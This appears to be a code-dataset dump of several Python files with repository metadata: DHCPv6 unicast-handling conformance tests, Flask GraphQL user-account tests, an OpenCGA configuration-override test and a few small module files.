@pytest.mark.basic @pytest.mark.v6 @pytest.mark.dhcp6 @pytest.mark.unicast @pytest.mark.status_code @pytest.mark.disabled def test_v6_basic_message_unicast_global_release(): # Server MUST discard any RELEASE message it receives with # a unicast address destination, and send back REPLY with # UseMulticast status code. # # Message details Client Server # SOLICIT --> # <-- ADVERTISE # REQUEST --> # <-- REPLY # GLOBAL UNICAST dest RELEASE --> # <-- REPLY # Pass Criteria: # REPLY MUST include option: # client-id # server-id # status-code with UseMulticast # correct message RELEASE --> # <-- REPLY # Pass Criteria: # REPLY MUST include option: # client-id # server-id # status-code with Success misc.test_setup() # Server is configured with 3000::/64 subnet with 3000::1-3000::ff pool. srv_control.config_srv_subnet_with_iface('$(SERVER_IFACE)', '$(SRV_IPV6_ADDR_GLOBAL)', '3000::/64', '3000::1-3000::ff') srv_control.build_and_send_config_files('SSH', 'config-file') srv_control.start_srv('DHCP', 'started') misc.test_procedure() srv_msg.client_requests_option('7') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_does_include('Client', None, 'IA-NA') srv_msg.client_send_msg('SOLICIT') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'ADVERTISE') misc.test_procedure() srv_msg.client_copy_option('IA_NA') srv_msg.client_copy_option('server-id') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('REQUEST') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'REPLY') misc.test_procedure() srv_msg.unicast_addres('GLOBAL', None) srv_msg.client_save_option('IA_NA') srv_msg.client_save_option('server-id') srv_msg.client_add_saved_option('DONT ') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('RELEASE') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'REPLY') srv_msg.response_check_include_option('Response', None, '13') srv_msg.response_check_option_content('Response', '13', None, 'statuscode', '5') misc.test_procedure() srv_msg.client_add_saved_option(None) srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('RELEASE') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'REPLY') srv_msg.response_check_include_option('Response', None, '1') srv_msg.response_check_include_option('Response', None, '2') srv_msg.response_check_include_option('Response', None, '13') references.references_check('RFC3315') @pytest.mark.basic @pytest.mark.v6 @pytest.mark.dhcp6 @pytest.mark.unicast def test_v6_basic_message_unicast_local_solicit(): # Server MUST discard any Solicit it receives with # a unicast address destination # Message details Client Server # LINK_LOCAL_UNICAST dest SOLICIT --> # X ADVERTISE # correct message SOLICIT --> # <-- ADVERTISE misc.test_setup() srv_control.config_srv_subnet('3000::/64', '3000::1-3000::ff') srv_control.build_and_send_config_files('SSH', 'config-file') srv_control.start_srv('DHCP', 'started') misc.test_procedure() srv_msg.client_requests_option('7') srv_msg.unicast_addres(None, 'LINK_LOCAL') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_does_include('Client', None, 'IA-NA') srv_msg.client_send_msg('SOLICIT') misc.pass_criteria() srv_msg.send_dont_wait_for_message() misc.test_procedure() srv_msg.client_requests_option('7') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_does_include('Client', None, 'IA-NA') srv_msg.client_send_msg('SOLICIT') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'ADVERTISE') srv_msg.response_check_include_option('Response', None, '3') srv_msg.response_check_option_content('Response', '3', None, 'sub-option', '5') references.references_check('RFC3315') @pytest.mark.basic @pytest.mark.v6 @pytest.mark.dhcp6 @pytest.mark.unicast def test_v6_basic_message_unicast_local_confirm(): # Server MUST discard any Confirm it receives with # a unicast address destination # Message details Client Server # SOLICIT --> # <-- ADVERTISE # REQUEST --> # <-- REPLY # LINK_LOCAL_UNICAST dest CONFIRM --> # X REPLY # correct message CONFIRM --> # <-- REPLY # Pass Criteria: # REPLY MUST include option: # client-id # server-id misc.test_setup() srv_control.config_srv_subnet('3000::/64', '3000::1-3000::ff') srv_control.build_and_send_config_files('SSH', 'config-file') srv_control.start_srv('DHCP', 'started') misc.test_procedure() srv_msg.client_requests_option('7') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_does_include('Client', None, 'IA-NA') srv_msg.client_send_msg('SOLICIT') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'ADVERTISE') srv_msg.response_check_include_option('Response', None, '3') srv_msg.response_check_option_content('Response', '3', None, 'sub-option', '5') misc.test_procedure() srv_msg.client_copy_option('IA_NA') srv_msg.client_copy_option('server-id') srv_msg.client_requests_option('7') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('REQUEST') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'REPLY') misc.test_procedure() srv_msg.client_save_option('IA_NA') srv_msg.client_add_saved_option('DONT ') srv_msg.unicast_addres(None, 'LINK_LOCAL') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('CONFIRM') misc.pass_criteria() srv_msg.send_dont_wait_for_message() misc.test_procedure() srv_msg.client_add_saved_option(None) srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('CONFIRM') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'REPLY') srv_msg.response_check_include_option('Response', None, '1') srv_msg.response_check_include_option('Response', None, '2') srv_msg.response_check_include_option('Response', None, '13') references.references_check('RFC3315') @pytest.mark.basic @pytest.mark.v6 @pytest.mark.dhcp6 @pytest.mark.unicast def test_v6_basic_message_unicast_local_rebind(): # Server MUST discard any Rebind it receives with # a unicast address destination. # Message details Client Server # SOLICIT --> # <-- ADVERTISE # REQUEST --> # <-- REPLY # LINK_LOCAL # UNICAST dest REBIND --> # X REPLY # correct message REBIND --> # <-- REPLY # Pass Criteria: # REPLY MUST include option: # client-id # server-id # IA-NA misc.test_setup() srv_control.config_srv_subnet('3000::/64', '3000::1-3000::ff') srv_control.build_and_send_config_files('SSH', 'config-file') srv_control.start_srv('DHCP', 'started') misc.test_procedure() srv_msg.client_requests_option('7') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_does_include('Client', None, 'IA-NA') srv_msg.client_send_msg('SOLICIT') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'ADVERTISE') srv_msg.response_check_include_option('Response', None, '3') srv_msg.response_check_option_content('Response', '3', None, 'sub-option', '5') misc.test_procedure() srv_msg.client_copy_option('IA_NA') srv_msg.client_copy_option('server-id') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('REQUEST') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'REPLY') misc.test_procedure() srv_msg.unicast_addres(None, 'LINK_LOCAL') srv_msg.client_save_option('IA_NA') srv_msg.client_add_saved_option('DONT ') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('REBIND') misc.pass_criteria() srv_msg.send_dont_wait_for_message() misc.test_procedure() srv_msg.client_add_saved_option(None) srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('REBIND') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'REPLY') srv_msg.response_check_include_option('Response', None, '1') srv_msg.response_check_include_option('Response', None, '2') srv_msg.response_check_include_option('Response', None, '3') references.references_check('RFC3315') @pytest.mark.basic @pytest.mark.v6 @pytest.mark.dhcp6 @pytest.mark.unicast def test_v6_basic_message_unicast_local_inforequest(): # Server MUST discard any Information-Request it receives with # a unicast address destination. # Message details Client Server # LINK_LOCAL # UNICAST dest INFOREQUEST --> # X REPLY # correct message INFOREQUEST --> # <-- REPLY # Pass Criteria: # REPLY MUST include option: # client-id # server-id misc.test_setup() srv_control.config_srv_subnet('3000::/64', '3000::1-3000::ff') srv_control.config_srv_opt('preference', '123') srv_control.build_and_send_config_files('SSH', 'config-file') srv_control.start_srv('DHCP', 'started') misc.test_procedure() srv_msg.client_requests_option('7') srv_msg.unicast_addres(None, 'LINK_LOCAL') # message wont contain client-id option srv_msg.client_send_msg('INFOREQUEST') misc.pass_criteria() srv_msg.send_dont_wait_for_message() misc.test_procedure() srv_msg.client_requests_option('7') # message wont contain client-id option srv_msg.client_send_msg('INFOREQUEST') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'REPLY') srv_msg.response_check_include_option('Response', 'NOT ', '1') srv_msg.response_check_include_option('Response', None, '2') srv_msg.response_check_include_option('Response', None, '7') references.references_check('RFC3315') @pytest.mark.basic @pytest.mark.v6 @pytest.mark.dhcp6 @pytest.mark.unicast @pytest.mark.status_code @pytest.mark.disabled def test_v6_basic_message_unicast_local_request(): # Server MUST discard any Request message it receives with # a unicast address destination, and send back REPLY with # UseMulticast status code. # In this test if it fails with 'NoAddrAvail' at the end # it means that server has send back REPLY with UseMulticast # status code but also assigned address. # Message details Client Server # SOLICIT --> # <-- ADVERTISE # LINK_LOCAL # UNICAST dest REQUEST --> # <-- REPLY # Pass Criteria: # REPLY MUST include option: # client-id # server-id # status code option with UseMulticast # # SOLICIT --> # <-- ADVERTISE # correct message REQUEST --> # <-- REPLY # REPLY MUST include option: # client-id # server-id # IA_NA # IA_Address with address 3000::1. misc.test_setup() srv_control.config_srv_subnet('3000::/64', '3000::1-3000::1') srv_control.build_and_send_config_files('SSH', 'config-file') srv_control.start_srv('DHCP', 'started') misc.test_procedure() srv_msg.client_requests_option('7') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_does_include('Client', None, 'IA-NA') srv_msg.client_send_msg('SOLICIT') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'ADVERTISE') srv_msg.response_check_include_option('Response', None, '3') srv_msg.response_check_option_content('Response', '3', None, 'sub-option', '5') misc.test_procedure() srv_msg.client_save_option('server-id') srv_msg.client_save_option('IA_NA') srv_msg.client_add_saved_option('DONT ') srv_msg.unicast_addres(None, 'LINK_LOCAL') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('REQUEST') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'REPLY') srv_msg.response_check_include_option('Response', None, '13') srv_msg.response_check_option_content('Response', '13', None, 'statuscode', '5') misc.test_procedure() srv_msg.client_add_saved_option('DONT ') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('REQUEST') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'REPLY') srv_msg.response_check_include_option('Response', None, '3') srv_msg.response_check_option_content('Response', '3', None, 'sub-option', '5') srv_msg.response_check_suboption_content('Response', '5', '3', None, 'address', '3000::1') references.references_check('RFC3315') @pytest.mark.basic @pytest.mark.v6 @pytest.mark.dhcp6 @pytest.mark.unicast @pytest.mark.status_code @pytest.mark.disabled def test_v6_basic_message_unicast_local_renew(): # Server MUST discard any RENEW message it receives with # a unicast address destination, and send back REPLY with # UseMulticast status code. # Message details Client Server # SOLICIT --> # <-- ADVERTISE # REQUEST --> # <-- REPLY # LINK_LOCAL # UNICAST dest RENEW --> # <-- REPLY # Pass Criteria: # REPLY MUST include option: # client-id # server-id # status code with UseMulticast # correct message RENEW --> # <-- REPLY # Pass Criteria: # REPLY MUST include option: # client-id # server-id # IA-NA # IA-Address misc.test_setup() srv_control.config_srv_subnet('3000::/64', '3000::1-3000::ff') srv_control.build_and_send_config_files('SSH', 'config-file') srv_control.start_srv('DHCP', 'started') misc.test_procedure() srv_msg.client_requests_option('7') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_does_include('Client', None, 'IA-NA') srv_msg.client_send_msg('SOLICIT') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'ADVERTISE') misc.test_procedure() srv_msg.client_copy_option('IA_NA') srv_msg.client_copy_option('server-id') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('REQUEST') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'REPLY') misc.test_procedure() srv_msg.unicast_addres(None, 'LINK_LOCAL') srv_msg.client_save_option('IA_NA') srv_msg.client_save_option('server-id') srv_msg.client_add_saved_option('DONT ') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('RENEW') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'REPLY') srv_msg.response_check_include_option('Response', None, '13') srv_msg.response_check_option_content('Response', '13', None, 'statuscode', '5') misc.test_procedure() srv_msg.client_add_saved_option(None) srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('RENEW') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'REPLY') srv_msg.response_check_include_option('Response', None, '1') srv_msg.response_check_include_option('Response', None, '2') srv_msg.response_check_include_option('Response', None, '3') srv_msg.response_check_option_content('Response', '3', None, 'sub-option', '5') references.references_check('RFC3315') @pytest.mark.basic @pytest.mark.v6 @pytest.mark.dhcp6 @pytest.mark.unicast @pytest.mark.status_code @pytest.mark.disabled def test_v6_basic_message_unicast_local_release(): # Server MUST discard any RELEASE message it receives with # a unicast address destination, and send back REPLY with # UseMulticast status code. # # Message details Client Server # SOLICIT --> # <-- ADVERTISE # REQUEST --> # <-- REPLY # LINK_LOCAL # UNICAST dest RELEASE --> # <-- REPLY # Pass Criteria: # REPLY MUST include option: # client-id # server-id # status-code with UseMulticast # correct message RELEASE --> # <-- REPLY # Pass Criteria: # REPLY MUST include option: # client-id # server-id # status-code with Success misc.test_setup() srv_control.config_srv_subnet('3000::/64', '3000::1-3000::ff') srv_control.build_and_send_config_files('SSH', 'config-file') srv_control.start_srv('DHCP', 'started') misc.test_procedure() srv_msg.client_requests_option('7') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_does_include('Client', None, 'IA-NA') srv_msg.client_send_msg('SOLICIT') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'ADVERTISE') misc.test_procedure() srv_msg.client_copy_option('IA_NA') srv_msg.client_copy_option('server-id') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('REQUEST') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'REPLY') misc.test_procedure() srv_msg.unicast_addres(None, 'LINK_LOCAL') srv_msg.client_save_option('IA_NA') srv_msg.client_save_option('server-id') srv_msg.client_add_saved_option('DONT ') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('RELEASE') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'REPLY') srv_msg.response_check_include_option('Response', None, '13') srv_msg.response_check_option_content('Response', '13', None, 'statuscode', '5') misc.test_procedure() srv_msg.client_add_saved_option(None) srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('RELEASE') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'REPLY') srv_msg.response_check_include_option('Response', None, '1') srv_msg.response_check_include_option('Response', None, '2') srv_msg.response_check_include_option('Response', None, '13') references.references_check('RFC3315')
34.986653
94
0.660622
4,377
34,077
4.807631
0.030158
0.085824
0.099225
0.059592
0.991921
0.991921
0.991921
0.991921
0.991921
0.989118
0
0.018533
0.216216
34,077
973
95
35.02261
0.769329
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9
4f1ffa81a9cbebe3dee8e8462fdb8186d8ea9338
12,558
py
Python
app/tests/test_mutations.py
yeeeeees/eventio-backend
85f245220c36e1e8a243097cbb9ca68533b69c7e
[ "Apache-2.0" ]
2
2020-02-04T07:48:48.000Z
2020-03-03T11:15:54.000Z
app/tests/test_mutations.py
yeeeeees/eventio-backend
85f245220c36e1e8a243097cbb9ca68533b69c7e
[ "Apache-2.0" ]
4
2020-02-01T15:42:13.000Z
2020-02-03T21:03:02.000Z
app/tests/test_mutations.py
yeeeeees/eventio-backend
85f245220c36e1e8a243097cbb9ca68533b69c7e
[ "Apache-2.0" ]
null
null
null
import json import unittest from app.schema import schema from app import create_app, db from graphene.test import Client from app.config import TestingConfig class TestCreateUser(unittest.TestCase): def setUp(self): self.app = create_app() self.app.config.from_object(TestingConfig) self.client = self.app.test_client() with self.app.app_context(): db.create_all() self.query = '''mutation{ createUser(email:"test@user.com", username:"test_user", password:"test", fname:"test", surname:"dummy"){ success } }''' def tearDown(self): with self.app.app_context(): db.drop_all() def test_okay_register(self): response = self.client.post("/graphql", data={"query": self.query}) data = json.loads(response.get_data(as_text=True)) assert data.get("data").get("createUser").get("success") == True def test_taken_username_register(self): query2 = '''mutation{ createUser(email:"test2@user.com", username:"test_user", password:"test", fname:"test", surname:"dummy"){ success message } }''' self.client.post("/graphql", data={"query": self.query}) response = self.client.post("/graphql", data={"query": query2}) data = json.loads(response.get_data(as_text=True)) assert data.get("data").get("createUser").get("message") == "That username is already taken. Plesae try again with different username." def test_taken_email_register(self): query2 = '''mutation{ createUser(email:"test@user.com", username:"test_user2", password:"test", fname:"test", surname:"dummy"){ success message } }''' self.client.post("/graphql", data={"query": self.query}) response = self.client.post("/graphql", data={"query": query2}) data = json.loads(response.get_data(as_text=True)) assert data.get("data").get("createUser").get("message") == "That email is already in use. Plesae try again with different email." class TestLoginUser(unittest.TestCase): def setUp(self): self.app = create_app() self.app.config.from_object(TestingConfig) self.client = self.app.test_client() with self.app.app_context(): db.create_all() query = '''mutation{ createUser(email:"test@user.com", username:"test_user", password:"test", fname:"test", surname:"dummy"){ success message } }''' self.client.post("/graphql", data={"query": query}) def tearDown(self): with self.app.app_context(): db.drop_all() def test_successful_login(self): query = '''mutation{ loginUser(username:"test_user", password:"test"){ success message } }''' response = self.client.post("/graphql", data={"query": query}) data = json.loads(response.get_data(as_text=True)) assert data.get("data").get("loginUser").get("success") == True def test_no_info_login(self): query = '''mutation{ loginUser(password:"test"){ success message } }''' response = self.client.post("/graphql", data={"query": query}) data = json.loads(response.get_data(as_text=True)) assert data.get("data").get("loginUser").get("message") == "Please enter your email/username to login." def test_invalid_username(self): query = '''mutation{ loginUser(username:"wrong_name", password:"test"){ success message } }''' response = self.client.post("/graphql", data={"query": query}) data = json.loads(response.get_data(as_text=True)) assert data.get("data").get("loginUser").get("message") == "Invalid username/email or password." def test_invalid_email(self): query = '''mutation{ loginUser(email:"wrong_email", password:"test"){ success message } }''' response = self.client.post("/graphql", data={"query": query}) data = json.loads(response.get_data(as_text=True)) assert data.get("data").get("loginUser").get("message") == "Invalid username/email or password." def test_invalid_password(self): query = '''mutation{ loginUser(username:"test_user", password:"wrong_pw"){ success message } }''' response = self.client.post("/graphql", data={"query": query}) data = json.loads(response.get_data(as_text=True)) assert data.get("data").get("loginUser").get("message") == "Invalid username/email or password." class TestCreatAccessToken(unittest.TestCase): def setUp(self): self.app = create_app() self.app.config.from_object(TestingConfig) self.client = self.app.test_client() with self.app.app_context(): db.create_all() query = '''mutation{ createUser(email:"test@user.com", username:"test_user", password:"test", fname:"test", surname:"dummy"){ success message } }''' self.client.post("/graphql", data={"query": query}) def tearDown(self): with self.app.app_context(): db.drop_all() def get_refresh_token(self, username, password): query = '''mutation{ loginUser(username:"test_user", password:"test"){ success message refreshToken } }''' response = self.client.post("/graphql", data={"query": query}) data = json.loads(response.get_data(as_text=True)) return data.get("data").get("loginUser").get("refreshToken") def test_successful_refresh_token(self): query = '''mutation{ getAccessToken { accessToken success message } }''' headers = {"Authorization": "Bearer " + self.get_refresh_token("test_user", "test")} response = self.client.post("/graphql", data={"query": query}, headers=headers) data = json.loads(response.get_data(as_text=True)) assert data.get("data").get("getAccessToken").get("message") == "Access token created successfully." class TestEditUser(unittest.TestCase): def setUp(self): self.app = create_app() self.app.config.from_object(TestingConfig) self.client = self.app.test_client() with self.app.app_context(): db.create_all() query = '''mutation{ createUser(email:"test@user.com", username:"test_user", password:"test", fname:"test", surname:"dummy"){ success message } }''' self.client.post("/graphql", data={"query": query}) def tearDown(self): with self.app.app_context(): db.drop_all() def get_access_token(self, username, password): query = '''mutation{ loginUser(username:"test_user", password:"test"){ success message accessToken } }''' response = self.client.post("/graphql", data={"query": query}) data = json.loads(response.get_data(as_text=True)) return data.get("data").get("loginUser").get("accessToken") def test_successful_edit(self): query = '''mutation{ editUser(username:"test_user_changed"){ success message user{ username } } }''' headers = {"Authorization": "Bearer " + self.get_access_token("test_user", "test")} response = self.client.post("/graphql", data={"query": query}, headers=headers) data = json.loads(response.get_data(as_text=True)) assert data.get("data").get("editUser").get("success") == True assert data.get("data").get("editUser").get("user").get("username") == "test_user_changed" def test_no_data_supplied(self): query = '''mutation{ editUser{ success message user{ username } } }''' headers = {"Authorization": "Bearer " + self.get_access_token("test_user", "test")} response = self.client.post("/graphql", data={"query": query}, headers=headers) data = json.loads(response.get_data(as_text=True)) assert data.get("data").get("editUser").get("message") == "Please supply some data to edit user with." def test_username_taken(self): query = '''mutation{ editUser(username:"test_user"){ success message } }''' headers = {"Authorization": "Bearer " + self.get_access_token("test_user", "test")} response = self.client.post("/graphql", data={"query": query}, headers=headers) data = json.loads(response.get_data(as_text=True)) assert data.get("data").get("editUser").get("message") == "That username is already taken. Please try again with different username." def test_email_taken(self): query = '''mutation{ editUser(email:"test@user.com"){ success message } }''' headers = {"Authorization": "Bearer " + self.get_access_token("test_user", "test")} response = self.client.post("/graphql", data={"query": query}, headers=headers) data = json.loads(response.get_data(as_text=True)) assert data.get("data").get("editUser").get("message") == "That email is already in use. Please try again with different email." class TestDeleteUser: def setUp(self): self.app = create_app() self.app.config.from_object(TestingConfig) self.client = self.app.test_client() with self.app.app_context(): db.create_all() query = '''mutation{ createUser(email:"test@user.com", username:"test_user", password:"test", fname:"test", surname:"dummy"){ success message } }''' self.client.post("/graphql", data={"query": query}) def tearDown(self): with self.app.app_context(): db.drop_all() def get_access_token(self, username, password): query = '''mutation{ loginUser(username:"test_user", password:"test"){ success message accessToken } }''' response = self.client.post("/graphql", data={"query": query}) data = json.loads(response.get_data(as_text=True)) return data.get("data").get("loginUser").get("accessToken") def test_successful_user_delete(self): query = '''mutation{ deleteUser{ success message } }''' headers = {"Authorization": "Bearer " + self.get_access_token("test_user", "test")} response = self.client.post("/graphql", data={"query": query}, headers=headers) data = json.loads(response.get_data(as_text=True)) assert data.get("data").get("deleteUser").get("success") == True
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0.34703
12,558
344
144
36.505814
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0
1
0
0
0
0
0
8
4f28a5c578cb66cd605db53c4108d37e18df02ab
152
py
Python
agutil/io/__init__.py
agraubert/agutil
d9a568df01959ed985c9c8e77bdd501ac13bdbbf
[ "MIT" ]
3
2017-06-05T15:46:22.000Z
2019-05-22T21:26:54.000Z
agutil/io/__init__.py
agraubert/agutil
d9a568df01959ed985c9c8e77bdd501ac13bdbbf
[ "MIT" ]
93
2016-06-22T18:57:47.000Z
2022-02-14T10:50:27.000Z
agutil/io/__init__.py
agraubert/agutil
d9a568df01959ed985c9c8e77bdd501ac13bdbbf
[ "MIT" ]
null
null
null
from .src.socket import Socket from .src.socket import SocketServer from .src.queuedsocket import QueuedSocket from .src.mplexsocket import MPlexSocket
30.4
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8
4f317e066e36fdf6e670947587e3f0d182bd7e0c
178
py
Python
LAB 6/myproj/netflixapp/admin.py
giachell/FIS_21-22
eda14dabfb2ad73f307a31b26e8112bcceba4b36
[ "MIT" ]
2
2021-11-20T10:56:31.000Z
2021-11-26T13:33:46.000Z
LAB 6/myproj/netflixapp/admin.py
giachell/FIS_21-22
eda14dabfb2ad73f307a31b26e8112bcceba4b36
[ "MIT" ]
null
null
null
LAB 6/myproj/netflixapp/admin.py
giachell/FIS_21-22
eda14dabfb2ad73f307a31b26e8112bcceba4b36
[ "MIT" ]
null
null
null
from django.contrib import admin # Register your models here. from django.contrib import admin # Register your models here from .models import Movie admin.site.register(Movie)
19.777778
32
0.803371
26
178
5.5
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0.321678
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0
11
4f39e71946e0fad0b229faa061580ce3eb45db6b
147
py
Python
tests/test_cca.py
sagar87/cca
b4de1c9a46643e3a458bdc773d254f7fb9873d18
[ "MIT" ]
null
null
null
tests/test_cca.py
sagar87/cca
b4de1c9a46643e3a458bdc773d254f7fb9873d18
[ "MIT" ]
null
null
null
tests/test_cca.py
sagar87/cca
b4de1c9a46643e3a458bdc773d254f7fb9873d18
[ "MIT" ]
null
null
null
import numpy as np from cca.cca import CCA def test_CCA(): pass # Y = [np.zeros((10, 10)), np.zeros((10, 10))] # model = CCA(Y, 5)
13.363636
50
0.557823
26
147
3.115385
0.538462
0.17284
0.222222
0.271605
0
0
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0
0
0.083333
0.265306
147
10
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14.7
0.666667
0.421769
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0.25
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1
0
1
0
0
8
4f67a6e9be1bb29059aefd806964c3981a8a122c
214
py
Python
tests/__init__.py
contentful/structured-text-renderer.py
84fdd139bef2bbc02182a7eba2762604d0777956
[ "MIT" ]
4
2019-02-23T20:04:42.000Z
2022-01-18T18:23:26.000Z
tests/__init__.py
contentful/structured-text-renderer.py
84fdd139bef2bbc02182a7eba2762604d0777956
[ "MIT" ]
3
2018-11-27T22:40:58.000Z
2020-10-03T17:54:07.000Z
tests/__init__.py
contentful/structured-text-renderer.py
84fdd139bef2bbc02182a7eba2762604d0777956
[ "MIT" ]
6
2019-02-11T16:06:24.000Z
2022-01-26T14:18:37.000Z
import os import sys from .text_renderers_test import * from .block_renderers_test import * from .document_renderers_test import * from .rich_text_renderer_test import * sys.path.insert(0, os.path.abspath(".."))
21.4
41
0.78972
32
214
5
0.46875
0.25
0.35625
0.43125
0
0
0
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0
0
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0.11215
214
9
42
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0
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0
1
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1
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0
7
4f9c2fa3c0dacb4885092fe1c04217763dd14abc
29,328
py
Python
opencga-app/app/cloud/docker/opencga-init/test/test_override_yaml.py
julie-sullivan/opencga
9aa03191677a10a8ff805a9d343bbebe71c53b68
[ "Apache-2.0" ]
null
null
null
opencga-app/app/cloud/docker/opencga-init/test/test_override_yaml.py
julie-sullivan/opencga
9aa03191677a10a8ff805a9d343bbebe71c53b68
[ "Apache-2.0" ]
null
null
null
opencga-app/app/cloud/docker/opencga-init/test/test_override_yaml.py
julie-sullivan/opencga
9aa03191677a10a8ff805a9d343bbebe71c53b68
[ "Apache-2.0" ]
null
null
null
import subprocess from shutil import copyfile import unittest import yaml from io import StringIO import sys import os os.chdir(sys.path[0]) class Test_init_script(unittest.TestCase): def setUp(self): if "OPENCGA_CONFIG_DIR" in os.environ: config_dir = os.environ["OPENCGA_CONFIG_DIR"] else: config_dir = "./conf" storage_config = os.path.join(config_dir, "storage-configuration.yml") copyfile(storage_config, "./storage-configuration.yml") client_config = os.path.join(config_dir, "client-configuration.yml") copyfile(client_config, "./client-configuration.yml") config = os.path.join(config_dir, "configuration.yml") copyfile(config, "./configuration.yml") def test_end_2_end(self): res = subprocess.run( [ "python3", "../override_yaml.py", "--config-path", "./configuration.yml", "--client-config-path", "./client-configuration.yml", "--storage-config-path", "./storage-configuration.yml", "--search-hosts", "test-search-host1,test-search-host2", "--catalog-database-hosts", "test-catalog-database-host1,test-catalog-database-host2,test-catalog-database-host3", "--catalog-database-user", "test-catalog-database-user", "--catalog-database-password", "test-catalog-database-password", "--catalog-search-hosts", "test-catalog-search-host1,test-catalog-search-host2", "--catalog-search-user", "test-catalog-search-user", "--catalog-search-password", "test-catalog-search-password", "--rest-host", "test-rest-host", "--grpc-host", "test-grpc-host", "--max-concurrent-jobs", "25", "--analysis-execution-mode", "test-analysis-execution-mode", "--variant-default-engine","test-variant-default-engine", "--hadoop-ssh-dns", "test-hadoop-ssh-host", "--hadoop-ssh-user", "test-hadoop-ssh-user", "--hadoop-ssh-pass", "test-hadoop-ssh-password", "--hadoop-ssh-remote-opencga-home", "test-hadoop-ssh-remote-opencga-home", "--health-check-interval", "30" ], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, check=False, env={**os.environ, "INIT_CLINICAL_HOSTS": "test-clinical-host", "INIT_VARIANT_OPTIONS": "[ my_var_key_1=my_value_1, my.var.key_2=my.value.2,]" }, #Test that the auto import of environment vars is working ) if res.returncode != 0: print("Error calling override_yaml.py:") print(res.stdout) sys.exit(1) configs = [] configsRaw = res.stdout.decode("utf-8").split("---") for config in configsRaw: configAsFile = StringIO(config) configs.append(yaml.safe_load(configAsFile)) storage_config = configs[0] config = configs[1] client_config = configs[2] self.assertEqual(storage_config["search"]["hosts"][0], "test-search-host1") self.assertEqual(storage_config["search"]["hosts"][1], "test-search-host2") self.assertEqual(storage_config["clinical"]["hosts"][0], "test-clinical-host") self.assertEqual( storage_config["variant"]["defaultEngine"], "test-variant-default-engine", ) self.assertEqual( storage_config["variant"]["options"]["annotator"], "cellbase", ) self.assertEqual( storage_config["variant"]["engines"][1]["options"][ "storage.hadoop.mr.executor" ], "ssh", ) self.assertEqual( storage_config["variant"]["engines"][1]["options"][ "storage.hadoop.mr.executor.ssh.host" ], "test-hadoop-ssh-host", ) self.assertEqual( storage_config["variant"]["engines"][1]["options"][ "storage.hadoop.mr.executor.ssh.user" ], "test-hadoop-ssh-user", ) self.assertEqual( storage_config["variant"]["engines"][1]["options"][ "storage.hadoop.mr.executor.ssh.password" ], "test-hadoop-ssh-password", ) self.assertEqual( storage_config["variant"]["engines"][1]["options"][ "storage.hadoop.mr.executor.ssh.key" ], "", ) self.assertEqual( storage_config["variant"]["engines"][1]["options"][ "storage.hadoop.mr.executor.ssh.remoteOpenCgaHome" ], "test-hadoop-ssh-remote-opencga-home", ) print("Variant options: ", storage_config["variant"]["options"]) # self.assertEqual( # storage_config["variant"]["options"][ # "my_key" # ], # "my_value", # ) # self.assertEqual( # storage_config["variant"]["options"][ # "second_key" # ], # "my.otherValue", # ) self.assertEqual( storage_config["variant"]["options"][ "my_var_key_1" ], "my_value_1", ) self.assertEqual( storage_config["variant"]["options"][ "my.var.key_2" ], "my.value.2", ) self.assertEqual(config["healthCheck"]["interval"], "30") self.assertEqual( config["catalog"]["database"]["hosts"][0], "test-catalog-database-host1" ) self.assertEqual( config["catalog"]["database"]["hosts"][1], "test-catalog-database-host2" ) self.assertEqual( config["catalog"]["database"]["hosts"][2], "test-catalog-database-host3" ) self.assertEqual( config["catalog"]["database"]["user"], "test-catalog-database-user" ) self.assertEqual( config["catalog"]["database"]["password"], "test-catalog-database-password" ) 